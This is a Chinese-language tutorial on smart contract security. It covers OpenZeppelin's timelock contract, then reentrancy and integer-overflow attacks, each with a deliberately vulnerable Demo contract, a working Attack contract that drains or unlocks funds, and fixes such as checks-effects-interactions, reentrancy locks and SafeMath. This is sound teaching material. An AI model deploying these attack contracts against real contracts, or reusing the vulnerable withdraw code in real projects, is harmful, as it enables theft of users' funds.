合约安全

时间锁合约

说明

  • 对合约的一种保护机制。任何更新操作都是先进入队列。经过一段时间后,才可以真正执行。

  • DeFi 类 Dapp 都会加时间锁。

注意

  • 测试合约 Main

  • 时间锁合约 TimeLock

  • Main 内的函数,只能由 TimeLock 调用。

  • TimeLock 不能立即调用,需要加事件延迟。

合约代码

以下代码来自 OpenZeppelin TimelockController

contract TimelockController is AccessControl, IERC721Receiver, IERC1155Receiver {
    bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
    bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
    bytes32 public constant CANCELLER_ROLE = keccak256("CANCELLER_ROLE");
    uint256 internal constant _DONE_TIMESTAMP = uint256(1);

    mapping(bytes32 => uint256) private _timestamps;
    uint256 private _minDelay;

    /**
     * @dev Emitted when a call is scheduled as part of operation `id`.
     */
    event CallScheduled(
        bytes32 indexed id,
        uint256 indexed index,
        address target,
        uint256 value,
        bytes data,
        bytes32 predecessor,
        uint256 delay
    );

    /**
     * @dev Emitted when a call is performed as part of operation `id`.
     */
    event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);

    /**
     * @dev Emitted when operation `id` is cancelled.
     */
    event Cancelled(bytes32 indexed id);

    /**
     * @dev Emitted when the minimum delay for future operations is modified.
     */
    event MinDelayChange(uint256 oldDuration, uint256 newDuration);

    /**
     * @dev Initializes the contract with the following parameters:
     *
     * - `minDelay`: initial minimum delay for operations
     * - `proposers`: accounts to be granted proposer and canceller roles
     * - `executors`: accounts to be granted executor role
     * - `admin`: optional account to be granted admin role; disable with zero address
     *
     * IMPORTANT: The optional admin can aid with initial configuration of roles after deployment
     * without being subject to delay, but this role should be subsequently renounced in favor of
     * administration through timelocked proposals. Previous versions of this contract would assign
     * this admin to the deployer automatically and should be renounced as well.
     */
    constructor(uint256 minDelay, address[] memory proposers, address[] memory executors, address admin) {
        _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
        _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
        _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
        _setRoleAdmin(CANCELLER_ROLE, TIMELOCK_ADMIN_ROLE);

        // self administration
        _setupRole(TIMELOCK_ADMIN_ROLE, address(this));

        // optional admin
        if (admin != address(0)) {
            _setupRole(TIMELOCK_ADMIN_ROLE, admin);
        }

        // register proposers and cancellers
        for (uint256 i = 0; i < proposers.length; ++i) {
            _setupRole(PROPOSER_ROLE, proposers[i]);
            _setupRole(CANCELLER_ROLE, proposers[i]);
        }

        // register executors
        for (uint256 i = 0; i < executors.length; ++i) {
            _setupRole(EXECUTOR_ROLE, executors[i]);
        }

        _minDelay = minDelay;
        emit MinDelayChange(0, minDelay);
    }

    /**
     * @dev Modifier to make a function callable only by a certain role. In
     * addition to checking the sender's role, `address(0)` 's role is also
     * considered. Granting a role to `address(0)` is equivalent to enabling
     * this role for everyone.
     */
    modifier onlyRoleOrOpenRole(bytes32 role) {
        if (!hasRole(role, address(0))) {
            _checkRole(role, _msgSender());
        }
        _;
    }

    /**
     * @dev Contract might receive/hold ETH as part of the maintenance process.
     */
    receive() external payable {}

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, AccessControl) returns (bool) {
        return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
    }

    /**
     * @dev Returns whether an id correspond to a registered operation. This
     * includes both Pending, Ready and Done operations.
     */
    function isOperation(bytes32 id) public view virtual returns (bool registered) {
        return getTimestamp(id) > 0;
    }

    /**
     * @dev Returns whether an operation is pending or not.
     */
    function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
        return getTimestamp(id) > _DONE_TIMESTAMP;
    }

    /**
     * @dev Returns whether an operation is ready or not.
     */
    function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
        uint256 timestamp = getTimestamp(id);
        return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
    }

    /**
     * @dev Returns whether an operation is done or not.
     */
    function isOperationDone(bytes32 id) public view virtual returns (bool done) {
        return getTimestamp(id) == _DONE_TIMESTAMP;
    }

    /**
     * @dev Returns the timestamp at which an operation becomes ready (0 for
     * unset operations, 1 for done operations).
     */
    function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
        return _timestamps[id];
    }

    /**
     * @dev Returns the minimum delay for an operation to become valid.
     *
     * This value can be changed by executing an operation that calls `updateDelay`.
     */
    function getMinDelay() public view virtual returns (uint256 duration) {
        return _minDelay;
    }

    /**
     * @dev Returns the identifier of an operation containing a single
     * transaction.
     */
    function hashOperation(
        address target,
        uint256 value,
        bytes calldata data,
        bytes32 predecessor,
        bytes32 salt
    ) public pure virtual returns (bytes32 hash) {
        return keccak256(abi.encode(target, value, data, predecessor, salt));
    }

    /**
     * @dev Returns the identifier of an operation containing a batch of
     * transactions.
     */
    function hashOperationBatch(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata payloads,
        bytes32 predecessor,
        bytes32 salt
    ) public pure virtual returns (bytes32 hash) {
        return keccak256(abi.encode(targets, values, payloads, predecessor, salt));
    }

    /**
     * @dev Schedule an operation containing a single transaction.
     *
     * Emits a {CallScheduled} event.
     *
     * Requirements:
     *
     * - the caller must have the 'proposer' role.
     */
    function schedule(
        address target,
        uint256 value,
        bytes calldata data,
        bytes32 predecessor,
        bytes32 salt,
        uint256 delay
    ) public virtual onlyRole(PROPOSER_ROLE) {
        bytes32 id = hashOperation(target, value, data, predecessor, salt);
        _schedule(id, delay);
        emit CallScheduled(id, 0, target, value, data, predecessor, delay);
    }

    /**
     * @dev Schedule an operation containing a batch of transactions.
     *
     * Emits one {CallScheduled} event per transaction in the batch.
     *
     * Requirements:
     *
     * - the caller must have the 'proposer' role.
     */
    function scheduleBatch(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata payloads,
        bytes32 predecessor,
        bytes32 salt,
        uint256 delay
    ) public virtual onlyRole(PROPOSER_ROLE) {
        require(targets.length == values.length, "TimelockController: length mismatch");
        require(targets.length == payloads.length, "TimelockController: length mismatch");

        bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
        _schedule(id, delay);
        for (uint256 i = 0; i < targets.length; ++i) {
            emit CallScheduled(id, i, targets[i], values[i], payloads[i], predecessor, delay);
        }
    }

    /**
     * @dev Schedule an operation that is to become valid after a given delay.
     */
    function _schedule(bytes32 id, uint256 delay) private {
        require(!isOperation(id), "TimelockController: operation already scheduled");
        require(delay >= getMinDelay(), "TimelockController: insufficient delay");
        _timestamps[id] = block.timestamp + delay;
    }

    /**
     * @dev Cancel an operation.
     *
     * Requirements:
     *
     * - the caller must have the 'canceller' role.
     */
    function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {
        require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
        delete _timestamps[id];

        emit Cancelled(id);
    }

    /**
     * @dev Execute an (ready) operation containing a single transaction.
     *
     * Emits a {CallExecuted} event.
     *
     * Requirements:
     *
     * - the caller must have the 'executor' role.
     */
    // This function can reenter, but it doesn't pose a risk because _afterCall checks that the proposal is pending,
    // thus any modifications to the operation during reentrancy should be caught.
    // slither-disable-next-line reentrancy-eth
    function execute(
        address target,
        uint256 value,
        bytes calldata payload,
        bytes32 predecessor,
        bytes32 salt
    ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
        bytes32 id = hashOperation(target, value, payload, predecessor, salt);

        _beforeCall(id, predecessor);
        _execute(target, value, payload);
        emit CallExecuted(id, 0, target, value, payload);
        _afterCall(id);
    }

    /**
     * @dev Execute an (ready) operation containing a batch of transactions.
     *
     * Emits one {CallExecuted} event per transaction in the batch.
     *
     * Requirements:
     *
     * - the caller must have the 'executor' role.
     */
    function executeBatch(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata payloads,
        bytes32 predecessor,
        bytes32 salt
    ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
        require(targets.length == values.length, "TimelockController: length mismatch");
        require(targets.length == payloads.length, "TimelockController: length mismatch");

        bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);

        _beforeCall(id, predecessor);
        for (uint256 i = 0; i < targets.length; ++i) {
            address target = targets[i];
            uint256 value = values[i];
            bytes calldata payload = payloads[i];
            _execute(target, value, payload);
            emit CallExecuted(id, i, target, value, payload);
        }
        _afterCall(id);
    }

    /**
     * @dev Execute an operation's call.
     */
    function _execute(address target, uint256 value, bytes calldata data) internal virtual {
        (bool success, ) = target.call{value: value}(data);
        require(success, "TimelockController: underlying transaction reverted");
    }

    /**
     * @dev Checks before execution of an operation's calls.
     */
    function _beforeCall(bytes32 id, bytes32 predecessor) private view {
        require(isOperationReady(id), "TimelockController: operation is not ready");
        require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
    }

    /**
     * @dev Checks after execution of an operation's calls.
     */
    function _afterCall(bytes32 id) private {
        require(isOperationReady(id), "TimelockController: operation is not ready");
        _timestamps[id] = _DONE_TIMESTAMP;
    }

    /**
     * @dev Changes the minimum timelock duration for future operations.
     *
     * Emits a {MinDelayChange} event.
     *
     * Requirements:
     *
     * - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
     * an operation where the timelock is the target and the data is the ABI-encoded call to this function.
     */
    function updateDelay(uint256 newDelay) external virtual {
        require(msg.sender == address(this), "TimelockController: caller must be timelock");
        emit MinDelayChange(_minDelay, newDelay);
        _minDelay = newDelay;
    }

    /**
     * @dev See {IERC721Receiver-onERC721Received}.
     */
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
        return this.onERC721Received.selector;
    }

    /**
     * @dev See {IERC1155Receiver-onERC1155Received}.
     */
    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) public virtual override returns (bytes4) {
        return this.onERC1155Received.selector;
    }

    /**
     * @dev See {IERC1155Receiver-onERC1155BatchReceived}.
     */
    function onERC1155BatchReceived(
        address,
        address,
        uint256[] memory,
        uint256[] memory,
        bytes memory
    ) public virtual override returns (bytes4) {
        return this.onERC1155BatchReceived.selector;
    }
}

重入攻击

什么是重入攻击?

合约取款方法被多次触发,导致发送金额不符合预期流程。

../_images/01.jpg

攻击演示

合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

contract Demo {
    mapping(address => uint256) public balances;

    //  存款
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 取款
    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Failed to send");
        balances[msg.sender] -= _amount;
    }

    /*
     * ========================================
     * Helper
     * ========================================
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    Demo public demo;

    constructor(address _demoAddress) public {
        demo = Demo(_demoAddress);
    }

    fallback() external payable {
        if (address(demo).balance >= 1 ether) {
            demo.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "need 1 ether");
        demo.deposit{value: 1 ether}();
        demo.withdraw(1 ether);
    }

    /*
     * ========================================
     * Helper
     * ========================================
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

合约测试

  • address1 部署 Demo

  • address1 调用 Demo.deposit 存入 10 ETH

  • address1 调用 Demo.getBalance 查看余额

  • address2 部署攻击合约 Attack;

    • 参数是 Demo 合约地址

  • address2 调用 Attack.attack ,并且发送 1Eth,发起攻击

  • 查看 Attack.getBalance 余额

  • 查看 Demo.getBalance 余额

如何避免重入攻击?

  1. 先赋值再进行转账

    修改前:

    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Failed to send");
    balances[msg.sender] -= _amount;
    

    修改后:

     balances[msg.sender] -= _amount;
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Failed to send");
    

    修改后,再次跳用,因为数据已经被修改了,所以报错 "Failed to send".

  2. 使用新版本的 Solidity 编写,

    1. 比如上面使用的是^0.6.10,换成^0.8.16 就没有这个问题。

  3. 使用状态变量和modifier配合做防重入锁

    1. 比如在 withdraw 上增加如下修改器。

     bool internal locked;
    
     modifier noReentrant() {
         require(!locked, "no reentrant");
         locked = true;
         _;
         locked = false;
     }
    

数学溢出攻击

  • uint 相当于 uint256

    • 范围: 0 <= x <= 2**256 -1

    • 上溢(overflow): 超出 2**256 -1 后,变成 0

    • 下溢(underflow): 低于 0 后,变成 2**256 -1

合约演示

下面是一个锁定合约,可以通过攻击,忽略锁定期直接取钱,无需等待。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

contract Demo {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    // 
    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 
    function withdraw() external {
        require(balances[msg.sender] > 0, "Insufficient balance");
        require(lockTime[msg.sender] < block.timestamp, "lock-in period");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Send failed");
    }

    // 续时间
    function increaseLockTime(uint256 time) public {
        lockTime[msg.sender] += time;
    }
}

contract Attack {
    Demo public demo;

    constructor(address _demoAddress) public {
        demo = Demo(_demoAddress);
    }

    fallback() external payable {}

    function attack() external payable {
        demo.deposit{value: msg.value}();
        // uint(-1) => uint(2**256-1)
        // currentTime = demo.balances(msg.sender)
        // 增加的时间 x  = 2**256 - currentTime
        // 增加的时间 x  = - currentTime
        demo.increaseLockTime(uint256(-demo.lockTime(address(this))));
        demo.withdraw();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

合约测试

  • 部署 Demo

  • 部署 Attack ,使用 Demo 地址。

  • 使用 Attack.attack

  • 调用 Attack.getBalance 发现钱已经取回来了。

如何避免溢出攻击?

  1. 使用高版本的 Solidity,比如 ^0.8.16;

  2. 引用 OpenZeppelin,使用其中的 SafeMath 进行操作

    1. 此时再进行攻击,会收到 SafeMath 内的报错 "SafeMath: addition overflow".

    import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol";
    function increaseLockTime(uint256 time) public {
        // lockTime[msg.sender] += time;
        lockTime[msg.sender] = lockTime[msg.sender].add(time); // add  SafeMath 内的方法
    }
    

推荐做法

以下内容来自 Solidity 合约文档

认真对待警告

如果编译器警告您一些事情,您应该改变它。 即使您不认为这个特定的警告有安全问题,但也可能在它下面埋藏着另一个问题。 我们发出的任何编译器警告都可以通过对代码的轻微修改来消除。

始终使用最新版本的编译器,以获知所有最近引入的警告。

编译器发出的 info 类型的信息并不危险,只是代表编译器认为可能对用户有用的额外建议和可选信息。

限制以太币的数量

限制智能合约中可存储的以太币(或其他代币)的数量。 如果您的源代码,编译器或平台有错误,这些资金可能会丢失。 如果您想限制您的损失,就限制以太币的数量。

保持合约简练且模块化

保持您的合约短小而容易理解。把不相关的功能单独放在其他合约中或放在库中。 关于源代码质量的一般建议当然也适用:限制局部变量的数量和函数的长度,等等。 给您的函数添加注释,这样别人就可以看到您的意图是什么, 并判断代码是否按照正确的意图实现。

使用“检查-生效-交互”(Checks-Effects-Interactions)模式

大多数函数会首先进行一些检查(谁调用了这个函数,参数是否在范围内, 他们是否发送了足够的以太,这个人是否有代币,等等)。这些检查应该首先完成。

第二步,如果所有的检查都通过了,就应该对当前合约的状态变量进行影响。 与其他合约的交互应该是任何函数的最后一步。

早期的合约延迟了一些效果,等待外部函数调用在非错误状态下返回。 这往往是一个严重的错误,因为上面解释了重入问题。

请注意,对已知合约的调用也可能反过来导致对未知合约的调用,因此,最好总是应用这种模式。

包含故障-安全(Fail-Safe)模式

尽管将系统完全去中心化可以省去许多中间环节,但包含某种故障-安全模式仍然是好的做法, 尤其是对于新的代码来说:

您可以在您的智能合约中添加一个功能,执行一些自我检查,如 “是否有任何以太币泄漏?”, “代币的总和是否等于合约的余额?” 或类似的事情。 请记住,您不能为此使用太多的 gas,所以可能需要通过链外计算的帮助。

如果自我检查失败,合约会自动切换到某种 “故障安全” 模式, 例如,禁用大部分功能,将控制权移交给一个固定的,可信赖的第三方, 或者只是将合约转换为一个简单的 “退回我的钱” 的合约。

请求同行评审

检查一段代码的人越多,发现的问题就越多。 要求其他人审查您的代码也有助于作为交叉检查, 找出您的代码是否容易理解 - 这是好的智能合约的一个非常重要的标准。

扩展阅读

下面是相关的官方中文文档,推荐阅读。

  • 安全考虑

    • https://docs.soliditylang.org/zh/latest/security-considerations.html

  • SMTChecker 和形式化验证

    • https://docs.soliditylang.org/zh/latest/smtchecker.html